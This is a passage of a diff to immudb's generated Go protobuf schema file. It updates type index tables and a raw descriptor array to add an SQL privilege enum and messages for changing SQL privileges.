0x65, 0x66, 0x69, 0x78, + 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, + 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, + 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, + 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, + 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10617,452 +10838,460 @@ func file_schema_proto_rawDescGZIP() []byte { return file_schema_proto_rawDescData } -var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 3) -var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 133) +var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 4) +var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 135) var file_schema_proto_goTypes = []interface{}{ - (EntryTypeAction)(0), // 0: immudb.schema.EntryTypeAction - (PermissionAction)(0), // 1: immudb.schema.PermissionAction - (TxMode)(0), // 2: immudb.schema.TxMode - (*Key)(nil), // 3: immudb.schema.Key - (*Permission)(nil), // 4: immudb.schema.Permission - (*User)(nil), // 5: immudb.schema.User - (*UserList)(nil), // 6: immudb.schema.UserList - (*CreateUserRequest)(nil), // 7: immudb.schema.CreateUserRequest - (*UserRequest)(nil), // 8: immudb.schema.UserRequest - (*ChangePasswordRequest)(nil), // 9: immudb.schema.ChangePasswordRequest - (*LoginRequest)(nil), // 10: immudb.schema.LoginRequest - (*LoginResponse)(nil), // 11: immudb.schema.LoginResponse - (*AuthConfig)(nil), // 12: immudb.schema.AuthConfig - (*MTLSConfig)(nil), // 13: immudb.schema.MTLSConfig - (*OpenSessionRequest)(nil), // 14: immudb.schema.OpenSessionRequest - (*OpenSessionResponse)(nil), // 15: immudb.schema.OpenSessionResponse - (*Precondition)(nil), // 16: immudb.schema.Precondition - (*KeyValue)(nil), // 17: immudb.schema.KeyValue - (*Entry)(nil), // 18: immudb.schema.Entry - (*Reference)(nil), // 19: immudb.schema.Reference - (*Op)(nil), // 20: immudb.schema.Op - (*ExecAllRequest)(nil), // 21: immudb.schema.ExecAllRequest - (*Entries)(nil), // 22: immudb.schema.Entries - (*ZEntry)(nil), // 23: immudb.schema.ZEntry - (*ZEntries)(nil), // 24: immudb.schema.ZEntries - (*ScanRequest)(nil), // 25: immudb.schema.ScanRequest - (*KeyPrefix)(nil), // 26: immudb.schema.KeyPrefix - (*EntryCount)(nil), // 27: immudb.schema.EntryCount - (*Signature)(nil), // 28: immudb.schema.Signature - (*TxHeader)(nil), // 29: immudb.schema.TxHeader - (*TxMetadata)(nil), // 30: immudb.schema.TxMetadata - (*LinearProof)(nil), // 31: immudb.schema.LinearProof - (*LinearAdvanceProof)(nil), // 32: immudb.schema.LinearAdvanceProof - (*DualProof)(nil), // 33: immudb.schema.DualProof - (*DualProofV2)(nil), // 34: immudb.schema.DualProofV2 - (*Tx)(nil), // 35: immudb.schema.Tx - (*TxEntry)(nil), // 36: immudb.schema.TxEntry - (*KVMetadata)(nil), // 37: immudb.schema.KVMetadata - (*Expiration)(nil), // 38: immudb.schema.Expiration - (*VerifiableTx)(nil), // 39: immudb.schema.VerifiableTx - (*VerifiableTxV2)(nil), // 40: immudb.schema.VerifiableTxV2 - (*VerifiableEntry)(nil), // 41: immudb.schema.VerifiableEntry - (*InclusionProof)(nil), // 42: immudb.schema.InclusionProof - (*SetRequest)(nil), // 43: immudb.schema.SetRequest - (*KeyRequest)(nil), // 44: immudb.schema.KeyRequest - (*KeyListRequest)(nil), // 45: immudb.schema.KeyListRequest - (*DeleteKeysRequest)(nil), // 46: immudb.schema.DeleteKeysRequest - (*VerifiableSetRequest)(nil), // 47: immudb.schema.VerifiableSetRequest - (*VerifiableGetRequest)(nil), // 48: immudb.schema.VerifiableGetRequest - (*ServerInfoRequest)(nil), // 49: immudb.schema.ServerInfoRequest - (*ServerInfoResponse)(nil), // 50: immudb.schema.ServerInfoResponse - (*HealthResponse)(nil), // 51: immudb.schema.HealthResponse - (*DatabaseHealthResponse)(nil), // 52: immudb.schema.DatabaseHealthResponse - (*ImmutableState)(nil), // 53: immudb.schema.ImmutableState - (*ReferenceRequest)(nil), // 54: immudb.schema.ReferenceRequest - (*VerifiableReferenceRequest)(nil), // 55: immudb.schema.VerifiableReferenceRequest - (*ZAddRequest)(nil), // 56: immudb.schema.ZAddRequest - (*Score)(nil), // 57: immudb.schema.Score - (*ZScanRequest)(nil), // 58: immudb.schema.ZScanRequest - (*HistoryRequest)(nil), // 59: immudb.schema.HistoryRequest - (*VerifiableZAddRequest)(nil), // 60: immudb.schema.VerifiableZAddRequest - (*TxRequest)(nil), // 61: immudb.schema.TxRequest - (*EntriesSpec)(nil), // 62: immudb.schema.EntriesSpec - (*EntryTypeSpec)(nil), // 63: immudb.schema.EntryTypeSpec - (*VerifiableTxRequest)(nil), // 64: immudb.schema.VerifiableTxRequest - (*TxScanRequest)(nil), // 65: immudb.schema.TxScanRequest - (*TxList)(nil), // 66: immudb.schema.TxList - (*ExportTxRequest)(nil), // 67: immudb.schema.ExportTxRequest - (*ReplicaState)(nil), // 68: immudb.schema.ReplicaState - (*Database)(nil), // 69: immudb.schema.Database - (*DatabaseSettings)(nil), // 70: immudb.schema.DatabaseSettings - (*CreateDatabaseRequest)(nil), // 71: immudb.schema.CreateDatabaseRequest - (*CreateDatabaseResponse)(nil), // 72: immudb.schema.CreateDatabaseResponse - (*UpdateDatabaseRequest)(nil), // 73: immudb.schema.UpdateDatabaseRequest - (*UpdateDatabaseResponse)(nil), // 74: immudb.schema.UpdateDatabaseResponse - (*DatabaseSettingsRequest)(nil), // 75: immudb.schema.DatabaseSettingsRequest - (*DatabaseSettingsResponse)(nil), // 76: immudb.schema.DatabaseSettingsResponse - (*NullableUint32)(nil), // 77: immudb.schema.NullableUint32 - (*NullableUint64)(nil), // 78: immudb.schema.NullableUint64 - (*NullableFloat)(nil), // 79: immudb.schema.NullableFloat - (*NullableBool)(nil), // 80: immudb.schema.NullableBool - (*NullableString)(nil), // 81: immudb.schema.NullableString - (*NullableMilliseconds)(nil), // 82: immudb.schema.NullableMilliseconds - (*DatabaseNullableSettings)(nil), // 83: immudb.schema.DatabaseNullableSettings - (*ReplicationNullableSettings)(nil), // 84: immudb.schema.ReplicationNullableSettings - (*TruncationNullableSettings)(nil), // 85: immudb.schema.TruncationNullableSettings - (*IndexNullableSettings)(nil), // 86: immudb.schema.IndexNullableSettings - (*AHTNullableSettings)(nil), // 87: immudb.schema.AHTNullableSettings - (*LoadDatabaseRequest)(nil), // 88: immudb.schema.LoadDatabaseRequest - (*LoadDatabaseResponse)(nil), // 89: immudb.schema.LoadDatabaseResponse - (*UnloadDatabaseRequest)(nil), // 90: immudb.schema.UnloadDatabaseRequest - (*UnloadDatabaseResponse)(nil), // 91: immudb.schema.UnloadDatabaseResponse - (*DeleteDatabaseRequest)(nil), // 92: immudb.schema.DeleteDatabaseRequest - (*DeleteDatabaseResponse)(nil), // 93: immudb.schema.DeleteDatabaseResponse - (*FlushIndexRequest)(nil), // 94: immudb.schema.FlushIndexRequest - (*FlushIndexResponse)(nil), // 95: immudb.schema.FlushIndexResponse - (*Table)(nil), // 96: immudb.schema.Table - (*SQLGetRequest)(nil), // 97: immudb.schema.SQLGetRequest - (*VerifiableSQLGetRequest)(nil), // 98: immudb.schema.VerifiableSQLGetRequest - (*SQLEntry)(nil), // 99: immudb.schema.SQLEntry - (*VerifiableSQLEntry)(nil), // 100: immudb.schema.VerifiableSQLEntry - (*UseDatabaseReply)(nil), // 101: immudb.schema.UseDatabaseReply - (*ChangePermissionRequest)(nil), // 102: immudb.schema.ChangePermissionRequest - (*SetActiveUserRequest)(nil), // 103: immudb.schema.SetActiveUserRequest - (*DatabaseListResponse)(nil), // 104: immudb.schema.DatabaseListResponse - (*DatabaseListRequestV2)(nil), // 105: immudb.schema.DatabaseListRequestV2 - (*DatabaseListResponseV2)(nil), // 106: immudb.schema.DatabaseListResponseV2 - (*DatabaseInfo)(nil), // 107: immudb.schema.DatabaseInfo - (*Chunk)(nil), // 108: immudb.schema.Chunk - (*UseSnapshotRequest)(nil), // 109: immudb.schema.UseSnapshotRequest - (*SQLExecRequest)(nil), // 110: immudb.schema.SQLExecRequest - (*SQLQueryRequest)(nil), // 111: immudb.schema.SQLQueryRequest - (*NamedParam)(nil), // 112: immudb.schema.NamedParam - (*SQLExecResult)(nil), // 113: immudb.schema.SQLExecResult - (*CommittedSQLTx)(nil), // 114: immudb.schema.CommittedSQLTx - (*SQLQueryResult)(nil), // 115: immudb.schema.SQLQueryResult - (*Column)(nil), // 116: immudb.schema.Column - (*Row)(nil), // 117: immudb.schema.Row - (*SQLValue)(nil), // 118: immudb.schema.SQLValue - (*NewTxRequest)(nil), // 119: immudb.schema.NewTxRequest - (*NewTxResponse)(nil), // 120: immudb.schema.NewTxResponse - (*ErrorInfo)(nil), // 121: immudb.schema.ErrorInfo - (*DebugInfo)(nil), // 122: immudb.schema.DebugInfo - (*RetryInfo)(nil), // 123: immudb.schema.RetryInfo - (*TruncateDatabaseRequest)(nil), // 124: immudb.schema.TruncateDatabaseRequest - (*TruncateDatabaseResponse)(nil), // 125: immudb.schema.TruncateDatabaseResponse - (*Precondition_KeyMustExistPrecondition)(nil), // 126: immudb.schema.Precondition.KeyMustExistPrecondition - (*Precondition_KeyMustNotExistPrecondition)(nil), // 127: immudb.schema.Precondition.KeyMustNotExistPrecondition - (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 128: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - nil, // 129: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - nil, // 130: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - nil, // 131: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - nil, // 132: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - nil, // 133: immudb.schema.Chunk.MetadataEntry - nil, // 134: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - nil, // 135: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - (structpb.NullValue)(0), // 136: google.protobuf.NullValue - (*emptypb.Empty)(nil), // 137: google.protobuf.Empty + (SQLPrivilege)(0), // 0: immudb.schema.SQLPrivilege + (EntryTypeAction)(0), // 1: immudb.schema.EntryTypeAction + (PermissionAction)(0), // 2: immudb.schema.PermissionAction + (TxMode)(0), // 3: immudb.schema.TxMode + (*Key)(nil), // 4: immudb.schema.Key + (*Permission)(nil), // 5: immudb.schema.Permission + (*User)(nil), // 6: immudb.schema.User + (*UserList)(nil), // 7: immudb.schema.UserList + (*CreateUserRequest)(nil), // 8: immudb.schema.CreateUserRequest + (*UserRequest)(nil), // 9: immudb.schema.UserRequest + (*ChangePasswordRequest)(nil), // 10: immudb.schema.ChangePasswordRequest + (*LoginRequest)(nil), // 11: immudb.schema.LoginRequest + (*LoginResponse)(nil), // 12: immudb.schema.LoginResponse + (*AuthConfig)(nil), // 13: immudb.schema.AuthConfig + (*MTLSConfig)(nil), // 14: immudb.schema.MTLSConfig + (*OpenSessionRequest)(nil), // 15: immudb.schema.OpenSessionRequest + (*OpenSessionResponse)(nil), // 16: immudb.schema.OpenSessionResponse + (*Precondition)(nil), // 17: immudb.schema.Precondition + (*KeyValue)(nil), // 18: immudb.schema.KeyValue + (*Entry)(nil), // 19: immudb.schema.Entry + (*Reference)(nil), // 20: immudb.schema.Reference + (*Op)(nil), // 21: immudb.schema.Op + (*ExecAllRequest)(nil), // 22: immudb.schema.ExecAllRequest + (*Entries)(nil), // 23: immudb.schema.Entries + (*ZEntry)(nil), // 24: immudb.schema.ZEntry + (*ZEntries)(nil), // 25: immudb.schema.ZEntries + (*ScanRequest)(nil), // 26: immudb.schema.ScanRequest + (*KeyPrefix)(nil), // 27: immudb.schema.KeyPrefix + (*EntryCount)(nil), // 28: immudb.schema.EntryCount + (*Signature)(nil), // 29: immudb.schema.Signature + (*TxHeader)(nil), // 30: immudb.schema.TxHeader + (*TxMetadata)(nil), // 31: immudb.schema.TxMetadata + (*LinearProof)(nil), // 32: immudb.schema.LinearProof + (*LinearAdvanceProof)(nil), // 33: immudb.schema.LinearAdvanceProof + (*DualProof)(nil), // 34: immudb.schema.DualProof + (*DualProofV2)(nil), // 35: immudb.schema.DualProofV2 + (*Tx)(nil), // 36: immudb.schema.Tx + (*TxEntry)(nil), // 37: immudb.schema.TxEntry + (*KVMetadata)(nil), // 38: immudb.schema.KVMetadata + (*Expiration)(nil), // 39: immudb.schema.Expiration + (*VerifiableTx)(nil), // 40: immudb.schema.VerifiableTx + (*VerifiableTxV2)(nil), // 41: immudb.schema.VerifiableTxV2 + (*VerifiableEntry)(nil), // 42: immudb.schema.VerifiableEntry + (*InclusionProof)(nil), // 43: immudb.schema.InclusionProof + (*SetRequest)(nil), // 44: immudb.schema.SetRequest + (*KeyRequest)(nil), // 45: immudb.schema.KeyRequest + (*KeyListRequest)(nil), // 46: immudb.schema.KeyListRequest + (*DeleteKeysRequest)(nil), // 47: immudb.schema.DeleteKeysRequest + (*VerifiableSetRequest)(nil), // 48: immudb.schema.VerifiableSetRequest + (*VerifiableGetRequest)(nil), // 49: immudb.schema.VerifiableGetRequest + (*ServerInfoRequest)(nil), // 50: immudb.schema.ServerInfoRequest + (*ServerInfoResponse)(nil), // 51: immudb.schema.ServerInfoResponse + (*HealthResponse)(nil), // 52: immudb.schema.HealthResponse + (*DatabaseHealthResponse)(nil), // 53: immudb.schema.DatabaseHealthResponse + (*ImmutableState)(nil), // 54: immudb.schema.ImmutableState + (*ReferenceRequest)(nil), // 55: immudb.schema.ReferenceRequest + (*VerifiableReferenceRequest)(nil), // 56: immudb.schema.VerifiableReferenceRequest + (*ZAddRequest)(nil), // 57: immudb.schema.ZAddRequest + (*Score)(nil), // 58: immudb.schema.Score + (*ZScanRequest)(nil), // 59: immudb.schema.ZScanRequest + (*HistoryRequest)(nil), // 60: immudb.schema.HistoryRequest + (*VerifiableZAddRequest)(nil), // 61: immudb.schema.VerifiableZAddRequest + (*TxRequest)(nil), // 62: immudb.schema.TxRequest + (*EntriesSpec)(nil), // 63: immudb.schema.EntriesSpec + (*EntryTypeSpec)(nil), // 64: immudb.schema.EntryTypeSpec + (*VerifiableTxRequest)(nil), // 65: immudb.schema.VerifiableTxRequest + (*TxScanRequest)(nil), // 66: immudb.schema.TxScanRequest + (*TxList)(nil), // 67: immudb.schema.TxList + (*ExportTxRequest)(nil), // 68: immudb.schema.ExportTxRequest + (*ReplicaState)(nil), // 69: immudb.schema.ReplicaState + (*Database)(nil), // 70: immudb.schema.Database + (*DatabaseSettings)(nil), // 71: immudb.schema.DatabaseSettings + (*CreateDatabaseRequest)(nil), // 72: immudb.schema.CreateDatabaseRequest + (*CreateDatabaseResponse)(nil), // 73: immudb.schema.CreateDatabaseResponse + (*UpdateDatabaseRequest)(nil), // 74: immudb.schema.UpdateDatabaseRequest + (*UpdateDatabaseResponse)(nil), // 75: immudb.schema.UpdateDatabaseResponse + (*DatabaseSettingsRequest)(nil), // 76: immudb.schema.DatabaseSettingsRequest + (*DatabaseSettingsResponse)(nil), // 77: immudb.schema.DatabaseSettingsResponse + (*NullableUint32)(nil), // 78: immudb.schema.NullableUint32 + (*NullableUint64)(nil), // 79: immudb.schema.NullableUint64 + (*NullableFloat)(nil), // 80: immudb.schema.NullableFloat + (*NullableBool)(nil), // 81: immudb.schema.NullableBool + (*NullableString)(nil), // 82: immudb.schema.NullableString + (*NullableMilliseconds)(nil), // 83: immudb.schema.NullableMilliseconds + (*DatabaseNullableSettings)(nil), // 84: immudb.schema.DatabaseNullableSettings + (*ReplicationNullableSettings)(nil), // 85: immudb.schema.ReplicationNullableSettings + (*TruncationNullableSettings)(nil), // 86: immudb.schema.TruncationNullableSettings + (*IndexNullableSettings)(nil), // 87: immudb.schema.IndexNullableSettings + (*AHTNullableSettings)(nil), // 88: immudb.schema.AHTNullableSettings + (*LoadDatabaseRequest)(nil), // 89: immudb.schema.LoadDatabaseRequest + (*LoadDatabaseResponse)(nil), // 90: immudb.schema.LoadDatabaseResponse + (*UnloadDatabaseRequest)(nil), // 91: immudb.schema.UnloadDatabaseRequest + (*UnloadDatabaseResponse)(nil), // 92: immudb.schema.UnloadDatabaseResponse + (*DeleteDatabaseRequest)(nil), // 93: immudb.schema.DeleteDatabaseRequest + (*DeleteDatabaseResponse)(nil), // 94: immudb.schema.DeleteDatabaseResponse + (*FlushIndexRequest)(nil), // 95: immudb.schema.FlushIndexRequest + (*FlushIndexResponse)(nil), // 96: immudb.schema.FlushIndexResponse + (*Table)(nil), // 97: immudb.schema.Table + (*SQLGetRequest)(nil), // 98: immudb.schema.SQLGetRequest + (*VerifiableSQLGetRequest)(nil), // 99: immudb.schema.VerifiableSQLGetRequest + (*SQLEntry)(nil), // 100: immudb.schema.SQLEntry + (*VerifiableSQLEntry)(nil), // 101: immudb.schema.VerifiableSQLEntry + (*UseDatabaseReply)(nil), // 102: immudb.schema.UseDatabaseReply + (*ChangePermissionRequest)(nil), // 103: immudb.schema.ChangePermissionRequest + (*ChangeSQLPrivilegesRequest)(nil), // 104: immudb.schema.ChangeSQLPrivilegesRequest + (*ChangeSQLPrivilegesResponse)(nil), // 105: immudb.schema.ChangeSQLPrivilegesResponse + (*SetActiveUserRequest)(nil), // 106: immudb.schema.SetActiveUserRequest + (*DatabaseListResponse)(nil), // 107: immudb.schema.DatabaseListResponse + (*DatabaseListRequestV2)(nil), // 108: immudb.schema.DatabaseListRequestV2 + (*DatabaseListResponseV2)(nil), // 109: immudb.schema.DatabaseListResponseV2 + (*DatabaseInfo)(nil), // 110: immudb.schema.DatabaseInfo + (*Chunk)(nil), // 111: immudb.schema.Chunk + (*UseSnapshotRequest)(nil), // 112: immudb.schema.UseSnapshotRequest + (*SQLExecRequest)(nil), // 113: immudb.schema.SQLExecRequest + (*SQLQueryRequest)(nil), // 114: immudb.schema.SQLQueryRequest + (*NamedParam)(nil), // 115: immudb.schema.NamedParam + (*SQLExecResult)(nil), // 116: immudb.schema.SQLExecResult + (*CommittedSQLTx)(nil), // 117: immudb.schema.CommittedSQLTx + (*SQLQueryResult)(nil), // 118: immudb.schema.SQLQueryResult + (*Column)(nil), // 119: immudb.schema.Column + (*Row)(nil), // 120: immudb.schema.Row + (*SQLValue)(nil), // 121: immudb.schema.SQLValue + (*NewTxRequest)(nil), // 122: immudb.schema.NewTxRequest + (*NewTxResponse)(nil), // 123: immudb.schema.NewTxResponse + (*ErrorInfo)(nil), // 124: immudb.schema.ErrorInfo + (*DebugInfo)(nil), // 125: immudb.schema.DebugInfo + (*RetryInfo)(nil), // 126: immudb.schema.RetryInfo + (*TruncateDatabaseRequest)(nil), // 127: immudb.schema.TruncateDatabaseRequest + (*TruncateDatabaseResponse)(nil), // 128: immudb.schema.TruncateDatabaseResponse + (*Precondition_KeyMustExistPrecondition)(nil), // 129: immudb.schema.Precondition.KeyMustExistPrecondition + (*Precondition_KeyMustNotExistPrecondition)(nil), // 130: immudb.schema.Precondition.KeyMustNotExistPrecondition + (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 131: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + nil, // 132: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + nil, // 133: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + nil, // 134: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + nil, // 135: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + nil, // 136: immudb.schema.Chunk.MetadataEntry + nil, // 137: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + nil, // 138: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + (structpb.NullValue)(0), // 139: google.protobuf.NullValue + (*emptypb.Empty)(nil), // 140: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ - 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission - 5, // 1: immudb.schema.UserList.users:type_name -> immudb.schema.User - 126, // 2: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition - 127, // 3: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition - 128, // 4: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - 37, // 5: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata - 19, // 6: immudb.schema.Entry.referencedBy:type_name -> immudb.schema.Reference - 37, // 7: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata - 37, // 8: immudb.schema.Reference.metadata:type_name -> immudb.schema.KVMetadata - 17, // 9: immudb.schema.Op.kv:type_name -> immudb.schema.KeyValue - 56, // 10: immudb.schema.Op.zAdd:type_name -> immudb.schema.ZAddRequest - 54, // 11: immudb.schema.Op.ref:type_name -> immudb.schema.ReferenceRequest - 20, // 12: immudb.schema.ExecAllRequest.Operations:type_name -> immudb.schema.Op - 16, // 13: immudb.schema.ExecAllRequest.preconditions:type_name -> immudb.schema.Precondition - 18, // 14: immudb.schema.Entries.entries:type_name -> immudb.schema.Entry - 18, // 15: immudb.schema.ZEntry.entry:type_name -> immudb.schema.Entry - 23, // 16: immudb.schema.ZEntries.entries:type_name -> immudb.schema.ZEntry - 30, // 17: immudb.schema.TxHeader.metadata:type_name -> immudb.schema.TxMetadata - 42, // 18: immudb.schema.LinearAdvanceProof.inclusionProofs:type_name -> immudb.schema.InclusionProof - 29, // 19: immudb.schema.DualProof.sourceTxHeader:type_name -> immudb.schema.TxHeader - 29, // 20: immudb.schema.DualProof.targetTxHeader:type_name -> immudb.schema.TxHeader - 31, // 21: immudb.schema.DualProof.linearProof:type_name -> immudb.schema.LinearProof - 32, // 22: immudb.schema.DualProof.LinearAdvanceProof:type_name -> immudb.schema.LinearAdvanceProof - 29, // 23: immudb.schema.DualProofV2.sourceTxHeader:type_name -> immudb.schema.TxHeader - 29, // 24: immudb.schema.DualProofV2.targetTxHeader:type_name -> immudb.schema.TxHeader - 29, // 25: immudb.schema.Tx.header:type_name -> immudb.schema.TxHeader - 36, // 26: immudb.schema.Tx.entries:type_name -> immudb.schema.TxEntry - 18, // 27: immudb.schema.Tx.kvEntries:type_name -> immudb.schema.Entry - 23, // 28: immudb.schema.Tx.zEntries:type_name -> immudb.schema.ZEntry - 37, // 29: immudb.schema.TxEntry.metadata:type_name -> immudb.schema.KVMetadata - 38, // 30: immudb.schema.KVMetadata.expiration:type_name -> immudb.schema.Expiration - 35, // 31: immudb.schema.VerifiableTx.tx:type_name -> immudb.schema.Tx - 33, // 32: immudb.schema.VerifiableTx.dualProof:type_name -> immudb.schema.DualProof - 28, // 33: immudb.schema.VerifiableTx.signature:type_name -> immudb.schema.Signature - 35, // 34: immudb.schema.VerifiableTxV2.tx:type_name -> immudb.schema.Tx - 34, // 35: immudb.schema.VerifiableTxV2.dualProof:type_name -> immudb.schema.DualProofV2 - 28, // 36: immudb.schema.VerifiableTxV2.signature:type_name -> immudb.schema.Signature - 18, // 37: immudb.schema.VerifiableEntry.entry:type_name -> immudb.schema.Entry - 39, // 38: immudb.schema.VerifiableEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 42, // 39: immudb.schema.VerifiableEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 17, // 40: immudb.schema.SetRequest.KVs:type_name -> immudb.schema.KeyValue - 16, // 41: immudb.schema.SetRequest.preconditions:type_name -> immudb.schema.Precondition - 43, // 42: immudb.schema.VerifiableSetRequest.setRequest:type_name -> immudb.schema.SetRequest - 44, // 43: immudb.schema.VerifiableGetRequest.keyRequest:type_name -> immudb.schema.KeyRequest - 28, // 44: immudb.schema.ImmutableState.signature:type_name -> immudb.schema.Signature - 16, // 45: immudb.schema.ReferenceRequest.preconditions:type_name -> immudb.schema.Precondition - 54, // 46: immudb.schema.VerifiableReferenceRequest.referenceRequest:type_name -> immudb.schema.ReferenceRequest - 57, // 47: immudb.schema.ZScanRequest.minScore:type_name -> immudb.schema.Score - 57, // 48: immudb.schema.ZScanRequest.maxScore:type_name -> immudb.schema.Score - 56, // 49: immudb.schema.VerifiableZAddRequest.zAddRequest:type_name -> immudb.schema.ZAddRequest - 62, // 50: immudb.schema.TxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec - 63, // 51: immudb.schema.EntriesSpec.kvEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 63, // 52: immudb.schema.EntriesSpec.zEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 63, // 53: immudb.schema.EntriesSpec.sqlEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 0, // 54: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction - 62, // 55: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec - 62, // 56: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec - 35, // 57: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx - 68, // 58: immudb.schema.ExportTxRequest.replicaState:type_name -> immudb.schema.ReplicaState - 83, // 59: immudb.schema.CreateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings - 83, // 60: immudb.schema.CreateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings - 83, // 61: immudb.schema.UpdateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings - 83, // 62: immudb.schema.UpdateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings - 83, // 63: immudb.schema.DatabaseSettingsResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings - 84, // 64: immudb.schema.DatabaseNullableSettings.replicationSettings:type_name -> immudb.schema.ReplicationNullableSettings - 77, // 65: immudb.schema.DatabaseNullableSettings.fileSize:type_name -> immudb.schema.NullableUint32 - 77, // 66: immudb.schema.DatabaseNullableSettings.maxKeyLen:type_name -> immudb.schema.NullableUint32 - 77, // 67: immudb.schema.DatabaseNullableSettings.maxValueLen:type_name -> immudb.schema.NullableUint32 - 77, // 68: immudb.schema.DatabaseNullableSettings.maxTxEntries:type_name -> immudb.schema.NullableUint32 - 80, // 69: immudb.schema.DatabaseNullableSettings.excludeCommitTime:type_name -> immudb.schema.NullableBool - 77, // 70: immudb.schema.DatabaseNullableSettings.maxConcurrency:type_name -> immudb.schema.NullableUint32 - 77, // 71: immudb.schema.DatabaseNullableSettings.maxIOConcurrency:type_name -> immudb.schema.NullableUint32 - 77, // 72: immudb.schema.DatabaseNullableSettings.txLogCacheSize:type_name -> immudb.schema.NullableUint32 - 77, // 73: immudb.schema.DatabaseNullableSettings.vLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 74: immudb.schema.DatabaseNullableSettings.txLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 77, // 75: immudb.schema.DatabaseNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 86, // 76: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings - 77, // 77: immudb.schema.DatabaseNullableSettings.writeTxHeaderVersion:type_name -> immudb.schema.NullableUint32 - 80, // 78: immudb.schema.DatabaseNullableSettings.autoload:type_name -> immudb.schema.NullableBool - 77, // 79: immudb.schema.DatabaseNullableSettings.readTxPoolSize:type_name -> immudb.schema.NullableUint32 - 82, // 80: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds - 77, // 81: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 87, // 82: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings - 77, // 83: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32 - 77, // 84: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 - 77, // 85: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 - 85, // 86: immudb.schema.DatabaseNullableSettings.truncationSettings:type_name -> immudb.schema.TruncationNullableSettings - 80, // 87: immudb.schema.DatabaseNullableSettings.embeddedValues:type_name -> immudb.schema.NullableBool - 80, // 88: immudb.schema.DatabaseNullableSettings.preallocFiles:type_name -> immudb.schema.NullableBool - 80, // 89: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 81, // 90: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString - 81, // 91: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString - 77, // 92: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 - 81, // 93: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> 